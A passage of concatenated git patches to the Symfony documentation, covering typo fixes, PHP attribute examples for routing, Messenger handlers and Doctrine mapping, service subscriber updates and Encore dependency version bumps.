+    In the :ref:`reference-forms-bootstrap4-error-messages`, ``form_errors()``
+    is already included in ``form_label()``.
 
 .. _reference-forms-twig-widget:
 

From 0ef62945ee94c0380de9211105301ffa41e00a7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 11:50:05 +0200
Subject: [PATCH 1268/5766] Minor typo

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index aa9670afd4f..3da20747c65 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -85,7 +85,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
 
     By default, all inputs are rendered with the ``mb-3`` class on their
     container. If you override the ``row_attr`` class option, the ``mb-3`` will
-    be overriden too and you will need to explicitly add it.
+    be overridden too and you will need to explicitly add it.
 
 Error Messages
 --------------

From 37195a8cdd71205759218a4e52a183dec2dd8a9b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 15:16:45 +0200
Subject: [PATCH 1269/5766] [Bundles] Improve the wording about mapping best
 practices

---
 best_practices.rst         | 11 +++++++----
 bundles/best_practices.rst | 13 +++++++++++--
 2 files changed, 18 insertions(+), 6 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 4928c79a6f9..e7d81bd23a3 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -194,17 +194,20 @@ you'll need to configure services (or parts of them) manually.
 YAML is the format recommended to configure services because it's friendly to
 newcomers and concise, but Symfony also supports XML and PHP configuration.
 
-Use Annotations to Define the Doctrine Entity Mapping
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use Attributes to Define the Doctrine Entity Mapping
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Doctrine entities are plain PHP objects that you store in some "database".
 Doctrine only knows about your entities through the mapping metadata configured
 for your model classes.
 
-Doctrine supports several metadata formats, but it's recommended to use
-annotations because they are by far the most convenient and agile way of setting
+Doctrine supports several metadata formats, but it's recommended to use PHP
+attributes because they are by far the most convenient and agile way of setting
 up and looking for mapping information.
 
+If your PHP version doesn't support attributes yet, use annotations, which is
+similar but requires installing some extra dependencies in your project.
+
 Controllers
 -----------
 
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index ba0627ecc21..dec1e907ca7 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -123,8 +123,8 @@ Type                                                 Directory
 Commands                                             ``src/Command/``
 Controllers                                          ``src/Controller/``
 Service Container Extensions                         ``src/DependencyInjection/``
-Doctrine ORM entities (when not using annotations)   ``src/Entity/``
-Doctrine ODM documents (when not using annotations)  ``src/Document/``
+Doctrine ORM entities                                ``src/Entity/``
+Doctrine ODM documents                               ``src/Document/``
 Event Listeners                                      ``src/EventListener/``
 Configuration (routes, services, etc.)               ``config/``
 Web Assets (CSS, JS, images)                         ``public/``
@@ -162,6 +162,15 @@ standard Symfony autoloading instead.
 A bundle should also not embed third-party libraries written in JavaScript,
 CSS or any other language.
 
+Doctrine Entities/Documents
+---------------------------
+
+If the bundle includes Doctrine ORM entities and/or ODM documents, it's
+recommended to define their mapping using XML files stored in
+``Resources/config/doctrine/``. This allows to override that mapping using the
+:doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
+This is not possible when using annotations/attributes to define the mapping.
+
 Tests
 -----
 

From fdd8b868f820fc36120ad503e69a453dde07a557 Mon Sep 17 00:00:00 2001
From: Alireza Mirsepassi <alirezamirsepassi@gmail.com>
Date: Fri, 22 Oct 2021 20:11:42 +0330
Subject: [PATCH 1270/5766] [Messenger] Autoconfigurable attributes

---
 messenger.rst | 47 ++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 40 insertions(+), 7 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index cbbd7e6b31f..7e8d1aa640f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -51,17 +51,19 @@ serialized::
 .. _messenger-handler:
 
 A message handler is a PHP callable, the recommended way to create it is to
-create a class that implements :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
-and has an ``__invoke()`` method that's type-hinted with the message class (or a
-message interface)::
+create a class using :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`
+attribute which has an ``__invoke()`` method that's type-hinted with the
+message class (or a message interface) or you can create a class without the attribute, by implementing
+:class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
 
     use App\Message\SmsNotification;
-    use Symfony\Component\Messenger\Handler\MessageHandlerInterface;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
 
-    class SmsNotificationHandler implements MessageHandlerInterface
+    #[AsMessageHandler]
+    class SmsNotificationHandler
     {
         public function __invoke(SmsNotification $message)
         {
@@ -349,9 +351,10 @@ Then, in your handler, you can query for a fresh object::
 
     use App\Message\NewUserWelcomeEmail;
     use App\Repository\UserRepository;
-    use Symfony\Component\Messenger\Handler\MessageHandlerInterface;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
 
-    class NewUserWelcomeEmailHandler implements MessageHandlerInterface
+    #[AsMessageHandler]
+    class NewUserWelcomeEmailHandler
     {
         private $userRepository;
 
@@ -1769,6 +1772,36 @@ Customizing Handlers
 
 .. _messenger-handler-config:
 
+Configuring Handlers Using Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can configure your handler easily by passing options to the attribute::
+
+    // src/MessageHandler/SmsNotificationHandler.php
+    namespace App\MessageHandler;
+
+    use App\Message\OtherSmsNotification;
+    use App\Message\SmsNotification;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+
+    #[AsMessageHandler(fromTransport: 'async', priority: 10)]
+    class SmsNotificationHandler
+    {
+        public function __invoke(SmsNotification $message)
+        {
+            // ...
+        }
+    }
+
+
+Possible options to configure with the attribute are:
+
+* ``bus``
+* ``fromTransport``
+* ``handles``
+* ``method``
+* ``priority``
+
 Manually Configuring Handlers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From bc60e9ecc35dbdd9c7800380116b085753073192 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 19:52:13 +0200
Subject: [PATCH 1271/5766] Fix a minor RST syntax issue

---
 page_creation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 6f818894e5e..c55c471fcee 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -82,8 +82,8 @@ you run off to play the lottery, check out how this works. Remember the two step
 to creating a page?
 
 #. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
-    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
-    in its own section, including how to make *variable* URLs;
+   page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
+   in its own section, including how to make *variable* URLs;
 
 #. *Create a controller*: This is a function where *you* build the page and ultimately
    return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`

From 3753606f430cd871c491166b0f3fe5f767691f44 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 20:07:55 +0200
Subject: [PATCH 1272/5766] Minor tweak

---
 form/form_customization.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 61afcdd1130..e88c29e11d7 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -257,8 +257,8 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the :ref:`reference-forms-bootstrap4-error-messages`, ``form_errors()``
-    is already included in ``form_label()``.
+    In the :ref:`error messages of Bootstrap 4 Form Theme <reference-forms-bootstrap4-error-messages>`,
+    ``form_errors()`` is already included in ``form_label()``.
 
 .. _reference-forms-twig-widget:
 

From 409a7f96bc88065d34553bc9357724d4e9717397 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 20:29:47 +0200
Subject: [PATCH 1273/5766] Minor reword

---
 testing.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 00103c6f48c..2f058ad8a5a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -923,7 +923,18 @@ Browser Assertions
     Asserts the given cookie in the test Client is set to the expected
     value.
 ``assertThatForClient(Constraint $constraint, string $message = '')``
-    Asserts the given Constraint in Client.
+    Asserts the given Constraint in the Client. Useful to use your custom asserts
+    in the same way of built-in asserts (i.e. without passing the Client as argument)::
+
+        // add this method in some custom class imported in your tests
+        protected static function assertMyOwnCustomAssert(): void
+        {
+            self::assertThatForClient(new SomeCustomConstraint());
+        }
+
+.. versionadded:: 5.4
+
+    The ``assertThatForClient()`` method was introduced in Symfony 5.4.
 
 Crawler Assertions
 ..................

From 06fd29e1f94a200d333041bf3ae9ffe494495e11 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 20:30:28 +0200
Subject: [PATCH 1274/5766] Remove a versionadded directive

---
 testing.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index c474ab839e9..f8c84ed0af2 100644
--- a/testing.rst
+++ b/testing.rst
@@ -924,10 +924,6 @@ Browser Assertions
             self::assertThatForClient(new SomeCustomConstraint());
         }
 
-.. versionadded:: 5.4
-
-    The ``assertThatForClient()`` method was introduced in Symfony 5.4.
-
 Crawler Assertions
 ..................
 

From 2039abe41416fd4ec7e600ced889e5cf3642fbaf Mon Sep 17 00:00:00 2001
From: Tom Nguyen <7121553+tunggnu@users.noreply.github.com>
Date: Sat, 23 Oct 2021 10:57:52 +0700
Subject: [PATCH 1275/5766] Update http_client.rst: fix an outdated url

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index f62c0415b63..8efbd4b3a41 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1939,5 +1939,5 @@ test it in a real application::
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
 .. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
-.. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
+.. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf

From 239c481082edc7be3a9f350b4dba01f8aaaa06eb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C3=ABl=20Dieudonn=C3=A9?=
 <32196785+mdieudonne@users.noreply.github.com>
Date: Sat, 23 Oct 2021 23:27:06 +0200
Subject: [PATCH 1276/5766] Update mercure.rst

fix: add "script" element ending tag
fix: complete code-block directive
---
 mercure.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index e9d9f163692..9a0c1e9dfea 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -251,7 +251,7 @@ Subscribing to updates in JavaScript from a Twig template is straightforward:
         // Will be called every time an update is published by the server
         console.log(JSON.parse(event.data));
     }
-    <script>
+    </script>
 
 The ``mercure()`` Twig function will generate the URL of the Mercure hub
 according to the configuration. The URL will include the ``topic`` query
@@ -260,13 +260,15 @@ parameters corresponding to the topics passed as first argument.
 If you want to access to this URL from an external JavaScript file, generate the
 URL in a dedicated HTML element:
 
-.. code:: twig
+.. code-block:: twig
 
-    <script type="application/json" id="mercure-url">{{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}</script>
+    <script type="application/json" id="mercure-url">
+    {{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}
+    </script>
 
 Then retrieve it from your JS file:
 
-.. code:: javascript
+.. code-block:: javascript
 
     const url = JSON.parse(document.getElementById("mercure-url").textContent);
     const eventSource = new EventSource(url);

From 49c635ee342d9a41e12555f76cb1f8c68635ab09 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 25 Oct 2021 14:52:08 +0200
Subject: [PATCH 1277/5766] Removing MooTools (!)

---
 components/css_selector.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index be68d1801ed..0d3dbf8dbf9 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -40,7 +40,7 @@ long and unwieldy expressions.
 Many developers -- particularly web developers -- are more comfortable
 using CSS selectors to find elements. As well as working in stylesheets,
 CSS selectors are used in JavaScript with the ``querySelectorAll()`` function
-and in popular JavaScript libraries such as jQuery, Prototype and MooTools.
+and in popular JavaScript libraries such as jQuery.
 
 CSS selectors are less powerful than XPath, but far easier to write, read
 and understand. Since they are less powerful, almost all CSS selectors can

From 44ffc2f64cdc535782aef9cdd5415f6dd3cbff34 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Tue, 26 Oct 2021 13:25:49 +0330
Subject: [PATCH 1278/5766] Add Attributes code

---
 page_creation.rst | 56 +++++++++++++++++++++++++++++++++--------------
 1 file changed, 39 insertions(+), 17 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 642d1dd2de8..7e17c017e9b 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -94,6 +94,10 @@ to creating a page?
 Annotation Routes
 -----------------
 
+.. caution::
+
+    If you use PHP8 or later, you do not need to install annotations package and instead of annotations, you can use structured metadata with PHP's native syntax (Attributes)
+
 Instead of defining your route in YAML, Symfony also allows you to use *annotation*
 routes. To do this, install the annotations package:
 
@@ -103,23 +107,41 @@ routes. To do this, install the annotations package:
 
 You can now add your route directly *above* the controller:
 
-.. code-block:: diff
-
-      // src/Controller/LuckyController.php
-
-      // ...
-    + use Symfony\Component\Routing\Annotation\Route;
-
-      class LuckyController
-      {
-    +     /**
-    +      * @Route("/lucky/number")
-    +      */
-          public function number()
-          {
-              // this looks exactly the same
-          }
-      }
+.. configuration-block::
+
+    .. code-block:: Annotations
+	
+		// src/Controller/LuckyController.php
+
+		// ...
+		+ use Symfony\Component\Routing\Annotation\Route;
+
+		class LuckyController
+		{
+		+   /**
+		+    * @Route("/lucky/number")
+		+    */
+			public function number()
+			{
+				// this looks exactly the same
+			}
+		}
+	
+    .. code-block:: Attributes
+	
+		// src/Controller/LuckyController.php
+
+		// ...
+		+ use Symfony\Component\Routing\Annotation\Route;
+
+		class LuckyController
+		{
+		+   #[Route('/lucky/number')
+			public function number()
+			{
+				// this looks exactly the same
+			}
+		}
 
 That's it! The page - http://localhost:8000/lucky/number will work exactly
 like before! Annotations are the recommended way to configure routes.

From 9320163d95828fd591a4b5129424f6eb34c36339 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Oct 2021 13:38:30 +0200
Subject: [PATCH 1279/5766] Fix some line numbers in a code example

---
 migration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/migration.rst b/migration.rst
index 0c298af44a9..71c55ba240d 100644
--- a/migration.rst
+++ b/migration.rst
@@ -289,7 +289,7 @@ could look something like this::
 
 There are 2 major deviations from the original file:
 
-Line 15
+Line 18
   First of all, ``$kernel`` is made globally available. This allows you to use
   Symfony features inside your existing application and gives access to
   services configured in our Symfony application. This helps you prepare your
@@ -297,7 +297,7 @@ Line 15
   it over. For instance, by replacing outdated or redundant libraries with
   Symfony components.
 
-Line 38 - 47
+Line 41 - 50
   Instead of sending the Symfony response directly, a ``LegacyBridge`` is
   called to decide whether the legacy application should be booted and used to
   create the response instead.

From bf28d093fe91c4245d68f3cf7260d6b3b6cf8f25 Mon Sep 17 00:00:00 2001
From: Lauri <laurilaks@protonmail.com>
Date: Mon, 25 Oct 2021 08:35:32 +0300
Subject: [PATCH 1280/5766] Remove unused param from LeapYearController::index

---
 create_framework/http_kernel_httpkernel_class.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index 1cf76830abd..0f4e565b084 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -133,7 +133,7 @@ instead of a full Response object::
 
     class LeapYearController
     {
-        public function index(Request $request, $year)
+        public function index($year)
         {
             $leapYear = new LeapYear();
             if ($leapYear->isLeapYear($year)) {

From 90936ab2786537b4dd6693eb4eba539a3fec15f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Oct 2021 15:50:29 +0200
Subject: [PATCH 1281/5766] Minor reword

---
 page_creation.rst | 75 +++++++++++++++++++++++------------------------
 1 file changed, 36 insertions(+), 39 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 7e17c017e9b..cc00e592880 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -94,12 +94,9 @@ to creating a page?
 Annotation Routes
 -----------------
 
-.. caution::
-
-    If you use PHP8 or later, you do not need to install annotations package and instead of annotations, you can use structured metadata with PHP's native syntax (Attributes)
-
 Instead of defining your route in YAML, Symfony also allows you to use *annotation*
-routes. To do this, install the annotations package:
+or *attribute* routes. Attributes are built-in in PHP starting from PHP 8. In earlier
+PHP versions you can use annotations. To do this, install the annotations package:
 
 .. code-block:: terminal
 
@@ -109,42 +106,42 @@ You can now add your route directly *above* the controller:
 
 .. configuration-block::
 
-    .. code-block:: Annotations
-	
-		// src/Controller/LuckyController.php
-
-		// ...
-		+ use Symfony\Component\Routing\Annotation\Route;
-
-		class LuckyController
-		{
-		+   /**
-		+    * @Route("/lucky/number")
-		+    */
-			public function number()
-			{
-				// this looks exactly the same
-			}
-		}
-	
-    .. code-block:: Attributes
-	
-		// src/Controller/LuckyController.php
-
-		// ...
-		+ use Symfony\Component\Routing\Annotation\Route;
-
-		class LuckyController
-		{
-		+   #[Route('/lucky/number')
-			public function number()
-			{
-				// this looks exactly the same
-			}
-		}
+    .. code-block:: php-annotations
+
+        // src/Controller/LuckyController.php
+
+        // ...
+        + use Symfony\Component\Routing\Annotation\Route;
+
+        class LuckyController
+        {
+        +   /**
+        +    * @Route("/lucky/number")
+        +    */
+            public function number()
+            {
+                // this looks exactly the same
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/LuckyController.php
+
+        // ...
+        + use Symfony\Component\Routing\Annotation\Route;
+
+        class LuckyController
+        {
+        +   #[Route('/lucky/number')
+            public function number()
+            {
+                // this looks exactly the same
+            }
+        }
 
 That's it! The page - http://localhost:8000/lucky/number will work exactly
-like before! Annotations are the recommended way to configure routes.
+like before! Annotations/attributes are the recommended way to configure routes.
 
 .. _flex-quick-intro:
 

From b430be892853ad6d2699fa09ce6d63532649503c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Oct 2021 16:26:12 +0200
Subject: [PATCH 1282/5766] Minor tweaks

---
 configuration.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 81437a3f861..f08668905dd 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -718,8 +718,8 @@ you can encrypt the value using the :doc:`secrets management system </configurat
 Listing Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-To understand how environment variables are set by the Dotenv component parsing various
-files, you can run the following command:
+Use the ``debug:dotenv`` command to understand how Symfony parses the different
+``.env`` files to set the value of each environment variable:
 
 .. code-block:: terminal
 
@@ -747,6 +747,10 @@ files, you can run the following command:
      ALICE      BOB     BOB        bob
     ---------- ------- ---------- ------
 
+.. versionadded:: 5.4
+
+    The ``debug:dotenv`` command was introduced in Symfony 5.4.
+
 Additionally, and regardless of how you set environment variables, you can see all
 environment variables, with their values, referenced in Symfony's container configuration:
 

From 0820621f7728cfbf2e7368606338ed0929076c92 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Oct 2021 16:27:23 +0200
Subject: [PATCH 1283/5766] Remove the versionadded directive

---
 configuration.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index a21f39b7f46..e08760d88b9 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -747,10 +747,6 @@ Use the ``debug:dotenv`` command to understand how Symfony parses the different
      ALICE      BOB     BOB        bob
     ---------- ------- ---------- ------
 
-.. versionadded:: 5.4
-
-    The ``debug:dotenv`` command was introduced in Symfony 5.4.
-
 Additionally, and regardless of how you set environment variables, you can see all
 environment variables, with their values, referenced in Symfony's container configuration:
 

From bd8f1e35f7289577624a2904bbcab3282d1fd6c5 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 26 Oct 2021 20:25:03 +0200
Subject: [PATCH 1284/5766] [Validator] Add missing dot

The default NotBlank constraint message ends with a dot.
---
 validation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index 0f8d0d6e1a0..f48ab95d10c 100644
--- a/validation.rst
+++ b/validation.rst
@@ -179,7 +179,7 @@ message:
 .. code-block:: text
 
     Object(App\Entity\Author).name:
-        This value should not be blank
+        This value should not be blank.
 
 If you insert a value into the ``name`` property, the happy success message
 will appear.

From e83469e557c1da1e9c1b21c982389e0b8f039d6b Mon Sep 17 00:00:00 2001
From: Giacomo Moscardini <lamasfoker@users.noreply.github.com>
Date: Wed, 27 Oct 2021 12:43:07 +0200
Subject: [PATCH 1285/5766] Add ignoreAttributes to the documentation

---
 routing.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/routing.rst b/routing.rst
index bd014cfcfb6..230cda540fd 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1367,6 +1367,8 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
                 # * for temporary redirects, it uses the 307 status code instead of 302
                 # * for permanent redirects, it uses the 308 status code instead of 301
                 keepRequestMethod: true
+                # add this to remove the parameters when redirecting
+                ignoreAttributes: true
 
         legacy_doc:
             path: /legacy/doc

From e1126491c9443dcc8a4b52bc34dbaba0d4b759d7 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 27 Oct 2021 10:42:08 -0400
Subject: [PATCH 1286/5766] [DependencyInjection] ServiceSubscriberTrait 5.4
 update

---
 .../service_subscribers_locators.rst          | 20 +++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index db75b181446..2459139ed70 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -627,8 +627,9 @@ Service Subscriber Trait
 
 The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an
 implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`
-that looks through all methods in your class that have no arguments and a return
-type. It provides a ``ServiceLocator`` for the services of those return types.
+that looks through all methods in your class that are marked with the
+:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It
+provides a ``ServiceLocator`` for the services of each method's return type.
 The service id is ``__METHOD__``. This allows you to add dependencies to your
 services based on type-hinted helper methods::
 
@@ -637,6 +638,7 @@ services based on type-hinted helper methods::
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
     use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
@@ -650,11 +652,13 @@ services based on type-hinted helper methods::
             // $this->logger() ...
         }
 
+        #[SubscribedService]
         private function router(): RouterInterface
         {
             return $this->container->get(__METHOD__);
         }
 
+        #[SubscribedService]
         private function logger(): LoggerInterface
         {
             return $this->container->get(__METHOD__);
@@ -668,9 +672,11 @@ and compose your services with them::
     namespace App\Service;
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     trait LoggerAware
     {
+        #[SubscribedService]
         private function logger(): LoggerInterface
         {
             return $this->container->get(__CLASS__.'::'.__FUNCTION__);
@@ -681,9 +687,11 @@ and compose your services with them::
     namespace App\Service;
 
     use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     trait RouterAware
     {
+        #[SubscribedService]
         private function router(): RouterInterface
         {
             return $this->container->get(__CLASS__.'::'.__FUNCTION__);
@@ -713,4 +721,12 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
+.. deprecated:: 5.4
+
+    Defining your *subscribed service* methods with the
+    :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute
+    was added in Symfony 5.4. Previously, any methods with no arguments and a
+    return type were *subscribed*. This still works in 5.4 but is deprecated (only
+    when using PHP 8) and will be removed in 6.0.
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From bbee2bf824296bed62969f1c8b0cc3161005026a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 27 Oct 2021 17:35:44 +0200
Subject: [PATCH 1287/5766] Remove the deprecated directive

---
 service_container/service_subscribers_locators.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 427ba5725b6..6bc379ee9cc 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -720,12 +720,4 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
-.. deprecated:: 5.4
-
-    Defining your *subscribed service* methods with the
-    :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute
-    was added in Symfony 5.4. Previously, any methods with no arguments and a
-    return type were *subscribed*. This still works in 5.4 but is deprecated (only
-    when using PHP 8) and will be removed in 6.0.
-
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From a0d0c46a176b55c4546f1e1d23b11ac39a6edb58 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 27 Oct 2021 22:39:02 +0200
Subject: [PATCH 1288/5766] CSP => Content Security Policy

---
 frontend/encore/vuejs.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 4473849be22..896c1e6de19 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -45,7 +45,7 @@ runtime. This means that you *can* do either of these:
     });
 
 If you do *not* need this functionality (e.g. you use single file components),
-then you can tell Encore to create a *smaller* and CSP-compliant build:
+then you can tell Encore to create a *smaller* build following Content Security Policy:
 
 .. code-block:: javascript
 

From 498391be5668a90e0d407d34bebc800212845a43 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 27 Oct 2021 23:24:18 +0200
Subject: [PATCH 1289/5766] Updating sass-loader version

---
 frontend/encore/simple-example.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index da99febb9b6..47bc2bb2ccc 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -330,7 +330,7 @@ Encore. When you do, you'll see an error!
 .. code-block:: terminal
 
     >   Error: Install sass-loader & sass to use enableSassLoader()
-    >     yarn add sass-loader@^10.0.0 sass --dev
+    >     yarn add sass-loader@^12.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
@@ -338,11 +338,11 @@ you need a feature, Encore will tell you what you need to install. Run:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn add sass-loader@^10.0.0 sass --dev
+    $ yarn add sass-loader@^12.0.0 sass --dev
     $ yarn encore dev --watch
 
     # if you use the npm package manager
-    $ npm install sass-loader@^10.0.0 sass --save-dev
+    $ npm install sass-loader@^12.0.0 sass --save-dev
     $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See

From a2fed1ad73b61d5a2df96154a64745793ddc4ca6 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Thu, 28 Oct 2021 08:47:46 +0200
Subject: [PATCH 1290/5766] Unexpected arrow for hash key

Replace arrow by colon
---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 3026da62ff8..2d9a66f1c35 100644
--- a/translation.rst
+++ b/translation.rst
@@ -304,7 +304,7 @@ using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 
     .. code-block:: twig
 
